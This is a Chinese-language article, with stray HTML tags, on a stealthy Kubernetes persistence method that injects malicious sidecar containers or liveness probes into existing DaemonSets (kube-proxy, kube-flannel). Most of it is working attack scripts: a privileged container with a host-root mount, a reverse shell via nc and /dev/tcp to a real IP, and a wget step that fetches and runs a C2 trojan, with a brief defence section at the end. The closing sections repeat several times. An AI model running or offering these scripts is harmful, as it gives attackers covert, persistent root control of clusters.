动态容器注入：一种隐蔽的Kubernetes权限维持方法<\/h1>

概述<\/h2>
动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置，注入恶意容器或探针，避免了创建新的Pod或控制器，从而降低了被检测的风险。<\/p>

传统Kubernetes权限维持方法的局限性<\/h2>

传统的权限维持方法包括：<\/p>

部署后门Pod<\/li>
部署CronJob<\/li>
部署Shadow API Server<\/li>
部署恶意Deployment<\/li>

部署恶意DaemonSet<\/li> <\/ul>

这些方法都需要创建新的Kubernetes资源，容易被安全监控工具发现。<\/p>

动态容器注入技术<\/h2>

1. Sidecar容器注入技术<\/h3>

技术原理<\/h4>
Sidecar容器是在同一个Pod中运行的辅助容器，与主容器共享网络、存储等资源，生命周期完全同步。<\/p>

选择DaemonSet的原因<\/h4>

确保所有节点（包括新增节点）都运行Pod<\/li>

Pod退出后自动重建，提高持久性<\/li> <\/ul>

容器配置要点<\/h4>

为了实现高权限访问，恶意容器需要配置：<\/p>

securityContext<\/span>:
<\/span><\/span>  privileged<\/span>: true<\/span>  # 特权容器<\/span>
<\/span><\/span>hostNetwork<\/span>: true<\/span>   # 共享宿主机网络命名空间<\/span>
<\/span><\/span>hostPID<\/span>: true<\/span>       # 共享宿主机PID命名空间<\/span>
<\/span><\/span>volumeMounts<\/span>:       # 挂载宿主机根目录<\/span>
<\/span><\/span>- mountPath<\/span>: \/host-root<\/span>
<\/span><\/span>  name<\/span>: host-root<\/span>
<\/span><\/span><\/code><\/pre>基础注入示例<\/h4>
以kube-system命名空间中的kube-proxy DaemonSet为例：<\/p>
注入脚本示例：<\/strong><\/p>
#!\/usr\/bin\/env bash
<\/span><\/span><\/span><\/span># inject-cache.sh -- 自动注入sidecar容器<\/span>
<\/span><\/span>
<\/span><\/span>set -e
<\/span><\/span>
<\/span><\/span># 提取原镜像<\/span>
<\/span><\/span>image=<\/span>$(<\/span>kubectl -n kube-system get ds kube-proxy -o yaml | awk '$1=="image:"{print $2}'<\/span> | head -n1)<\/span>
<\/span><\/span>
<\/span><\/span># 定义变量<\/span>
<\/span><\/span>volume_name=<\/span>"cache"<\/span>
<\/span><\/span>mount_path=<\/span>"\/var\/kube-proxy-cache"<\/span>
<\/span><\/span>ctr_name=<\/span>"kube-proxy-cache"<\/span>
<\/span><\/span>
<\/span><\/span># 构建注入内容<\/span>
<\/span><\/span>volume_block=<\/span>"\
<\/span><\/span><\/span>      - name: <\/span>${<\/span>volume_name}<\/span>
<\/span><\/span><\/span>        hostPath:
<\/span><\/span><\/span>          path: \/
<\/span><\/span><\/span>          type: Directory"<\/span>
<\/span><\/span>
<\/span><\/span>container_block=<\/span>"\
<\/span><\/span><\/span>      - name: <\/span>${<\/span>ctr_name}<\/span>
<\/span><\/span><\/span>        image: alpine:latest
<\/span><\/span><\/span>        imagePullPolicy: IfNotPresent
<\/span><\/span><\/span>        command: [\"\/bin\/sh\"]
<\/span><\/span><\/span>        args:
<\/span><\/span><\/span>        - -c
<\/span><\/span><\/span>        - 'set -x; nc 8.156.69.160 2333 -e \/bin\/sh & tail -f \/dev\/null'
<\/span><\/span><\/span>        securityContext:
<\/span><\/span><\/span>          privileged: true
<\/span><\/span><\/span>        volumeMounts:
<\/span><\/span><\/span>        - mountPath: <\/span>${<\/span>mount_path}<\/span>
<\/span><\/span><\/span>          name: <\/span>${<\/span>volume_name}<\/span>"<\/span>
<\/span><\/span>
<\/span><\/span># 执行注入<\/span>
<\/span><\/span>kubectl -n kube-system get ds kube-proxy -o yaml | awk -v vb=<\/span>"<\/span>$volume_block"<\/span> -v cb=<\/span>"<\/span>$container_block"<\/span> '
<\/span><\/span><\/span>    \/^      volumes:\/   { print; print vb; next }
<\/span><\/span><\/span>    \/^      containers:\/ { print; print cb; next }
<\/span><\/span><\/span>    1
<\/span><\/span><\/span>'<\/span> | kubectl replace -f -
<\/span><\/span><\/code><\/pre>思路优化<\/h4>
问题：<\/strong> 使用nc反弹shell只能接受单个连接，不适合多节点环境。<\/p>
解决方案：<\/strong> 使用C2木马提高可用性<\/p>
container_block="\<\/span>
<\/span><\/span>      - name<\/span>: ${ctr_name}<\/span>
<\/span><\/span>        image<\/span>: alpine:latest<\/span>
<\/span><\/span>        imagePullPolicy<\/span>: IfNotPresent<\/span>
<\/span><\/span>        command<\/span>: [\"\/bin\/sh\"]<\/span>
<\/span><\/span>        args<\/span>:
<\/span><\/span>        - -c<\/span>
<\/span><\/span>        - 'set -x; wget http:\/\/<IP:PORT>\/kube-proxy -O \/root\/kube-proxy && chmod 777 \/root\/kube-proxy && \/root\/kube-proxy'<\/span>
<\/span><\/span>        securityContext<\/span>:
<\/span><\/span>          privileged<\/span>: true<\/span>
<\/span><\/span>        volumeMounts<\/span>:
<\/span><\/span>        - mountPath<\/span>: ${mount_path}<\/span>
<\/span><\/span>          name<\/span>: ${volume_name}"<\/span>
<\/span><\/span><\/code><\/pre>优势：<\/strong><\/p>

支持多节点同时上线<\/li>
Pod异常退出后自动重建，C2自动重连<\/li>
可通过无文件落地技术进一步提高隐蔽性<\/li>
<\/ul>
2. 存活探针注入技术<\/h3>
技术原理<\/h4>
利用Kubernetes的存活探针（Liveness Probe）机制，通过exec检查模式实现命令执行。<\/p>
探针配置关键参数<\/h4>
livenessProbe<\/span>:
<\/span><\/span>  exec<\/span>:
<\/span><\/span>    command<\/span>:
<\/span><\/span>    - \/bin\/bash<\/span>
<\/span><\/span>    - -c<\/span>
<\/span><\/span>    - '恶意命令'<\/span>
<\/span><\/span>  initialDelaySeconds<\/span>: 30<\/span>  # 初始延迟<\/span>
<\/span><\/span>  periodSeconds<\/span>: 5<\/span>        # 执行间隔<\/span>
<\/span><\/span>  failureThreshold<\/span>: 2147483647<\/span>  # 最大重试次数（接近无限）<\/span>
<\/span><\/span><\/code><\/pre>基础注入示例<\/h4>
以kube-flannel命名空间中的kube-flannel-ds DaemonSet为例：<\/p>
环境侦察脚本：<\/strong><\/p>
#!\/bin\/bash
<\/span><\/span><\/span><\/span># 查找可用解释器<\/span>
<\/span><\/span>
<\/span><\/span>for<\/span> ds in $(<\/span>kubectl get daemonsets -A -o jsonpath=<\/span>'{range .items[*]}{.metadata.namespace}\/{.metadata.name}{"\n"}{end}'<\/span>)<\/span>; do<\/span>
<\/span><\/span>  ns=<\/span>$(<\/span>echo $ds | cut -d\/ -f1)<\/span>
<\/span><\/span>  name=<\/span>$(<\/span>echo $ds | cut -d\/ -f2)<\/span>
<\/span><\/span>  
<\/span><\/span>  # 获取Pod信息<\/span>
<\/span><\/span>  pod=<\/span>$(<\/span>kubectl get pods -n $ns -l "<\/span>$(<\/span>kubectl get daemonset $name -n $ns -o jsonpath=<\/span>'{.spec.selector.matchLabels}'<\/span> | tr -d '{}'<\/span> | tr ','<\/span> '\n'<\/span> | awk -F: '{gsub(\/"\/,"",$1); gsub(\/"\/,"",$2); print $1"="$2}'<\/span> | tr '\n'<\/span> ','<\/span>)<\/span>"<\/span> -o jsonpath=<\/span>'{.items[0].metadata.name}'<\/span> 2>\/dev\/null)<\/span>
<\/span><\/span>  
<\/span><\/span>  if<\/span> [<\/span> -z "<\/span>$pod"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    continue<\/span>
<\/span><\/span>  fi<\/span>
<\/span><\/span>
<\/span><\/span>  echo "检查 <\/span>$ns\/<\/span>$name (<\/span>$pod) 的解释器："<\/span>
<\/span><\/span>  for<\/span> interpreter in sh bash python3 python node perl ruby; do<\/span>
<\/span><\/span>    kubectl exec -n $ns $pod -- which $interpreter &>\/dev\/null &&<\/span> echo "  <\/span>$interpreter 存在"<\/span>
<\/span><\/span>  done<\/span>
<\/span><\/span>done<\/span>
<\/span><\/span><\/code><\/pre>探针注入脚本：<\/strong><\/p>
#!\/usr\/bin\/env bash
<\/span><\/span><\/span><\/span># inject-flannel-probe.sh -- 注入恶意存活探针<\/span>
<\/span><\/span>
<\/span><\/span>set -e
<\/span><\/span>
<\/span><\/span># 反弹shell命令（可base64编码提高隐蔽性）<\/span>
<\/span><\/span>PROBE_CMD=<\/span>'\/bin\/bash -i >& \/dev\/tcp\/8.156.69.160\/2333 0>&1'<\/span>
<\/span><\/span>
<\/span><\/span>PROBE_BLOCK=<\/span>"\
<\/span><\/span><\/span>        livenessProbe:
<\/span><\/span><\/span>          exec:
<\/span><\/span><\/span>            command:
<\/span><\/span><\/span>            - \/bin\/bash
<\/span><\/span><\/span>            - -c
<\/span><\/span><\/span>            - '<\/span>$PROBE_CMD'
<\/span><\/span><\/span>          initialDelaySeconds: 30
<\/span><\/span><\/span>          periodSeconds: 5
<\/span><\/span><\/span>          failureThreshold: 2147483647"<\/span>
<\/span><\/span>
<\/span><\/span># 注入探针<\/span>
<\/span><\/span>kubectl -n kube-flannel get ds kube-flannel-ds -o yaml | awk -v pb=<\/span>"<\/span>$PROBE_BLOCK"<\/span> '
<\/span><\/span><\/span>    \/^        [a-zA-Z].*:$\/ && !done && $0 ~ \/volumeMounts:\/ {
<\/span><\/span><\/span>        print pb; done=1
<\/span><\/span><\/span>    }
<\/span><\/span><\/span>    { print }
<\/span><\/span><\/span>'<\/span> | kubectl apply -f -
<\/span><\/span><\/code><\/pre>思路优化<\/h4>
问题：<\/strong> 探针注入无法直接获得高权限容器环境。<\/p>
解决方案：<\/strong> 结合代理技术实现API Server远程访问<\/p>

从Master节点获取高权限kubeconfig文件<\/li>
通过被控Pod建立代理通道<\/li>
本地使用kubeconfig通过代理访问API Server<\/li>
<\/ol>
优势：<\/strong><\/p>

无需增加容器数量，隐蔽性更高<\/li>
不依赖外部镜像拉取<\/li>
结合代理可实现完整控制链<\/li>
<\/ul>
检测与防御建议<\/h2>
检测措施<\/h3>

配置审计：<\/strong> 监控DaemonSet等关键资源的变更<\/li>
运行时监控：<\/strong> 检测异常容器行为和安全上下文<\/li>
网络流量分析：<\/strong> 识别可疑的外连通信模式<\/li>
镜像来源验证：<\/strong> 限制非受信任的镜像仓库<\/li>
<\/ol>
防御策略<\/h3>

最小权限原则：<\/strong> 严格限制容器权限和能力<\/li>
策略 enforcement：<\/strong> 使用Pod安全策略或OPA\/Gatekeeper<\/li>
网络策略：<\/strong> 限制容器网络访问范围<\/li>
定期安全扫描：<\/strong> 包括配置检查和运行时检测<\/li>
<\/ol>
总结<\/h2>
动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系，才能有效应对这类高级威胁。<\/p>
参考资源<\/h2>

《k0otkit: Hack K8s in a K8s Way》<\/li>
《ADCONF2025-云原生攻击路径》<\/li>
Kubernetes官方文档：Sidecar容器和存活探针<\/li>
<\/ul>

动态容器注入：一种隐蔽的Kubernetes权限维持方法<\/h1>

概述<\/h2> 动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置，注入恶意容器或探针，避免了创建新的Pod或控制器，从而降低了被检测的风险。<\/p>

动态容器注入技术<\/h2>

1. Sidecar容器注入技术<\/h3>

技术原理<\/h4> Sidecar容器是在同一个Pod中运行的辅助容器，与主容器共享网络、存储等资源，生命周期完全同步。<\/p>

2. 存活探针注入技术<\/h3>

技术原理<\/h4> 利用Kubernetes的存活探针（Liveness Probe）机制，通过exec检查模式实现命令执行。<\/p>

检测与防御建议<\/h2>

总结<\/h2> 动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系，才能有效应对这类高级威胁。<\/p>

参考资源<\/h2> 《k0otkit: Hack K8s in a K8s Way》<\/li> 《ADCONF2025-云原生攻击路径》<\/li> Kubernetes官方文档：Sidecar容器和存活探针<\/li> <\/ul>

概述<\/h2>
动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置，注入恶意容器或探针，避免了创建新的Pod或控制器，从而降低了被检测的风险。<\/p>

技术原理<\/h4>
Sidecar容器是在同一个Pod中运行的辅助容器，与主容器共享网络、存储等资源，生命周期完全同步。<\/p>

技术原理<\/h4>
利用Kubernetes的存活探针（Liveness Probe）机制，通过exec检查模式实现命令执行。<\/p>

总结<\/h2>
动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系，才能有效应对这类高级威胁。<\/p>

参考资源<\/h2>

《k0otkit: Hack K8s in a K8s Way》<\/li>
《ADCONF2025-云原生攻击路径》<\/li>
Kubernetes官方文档：Sidecar容器和存活探针<\/li> <\/ul>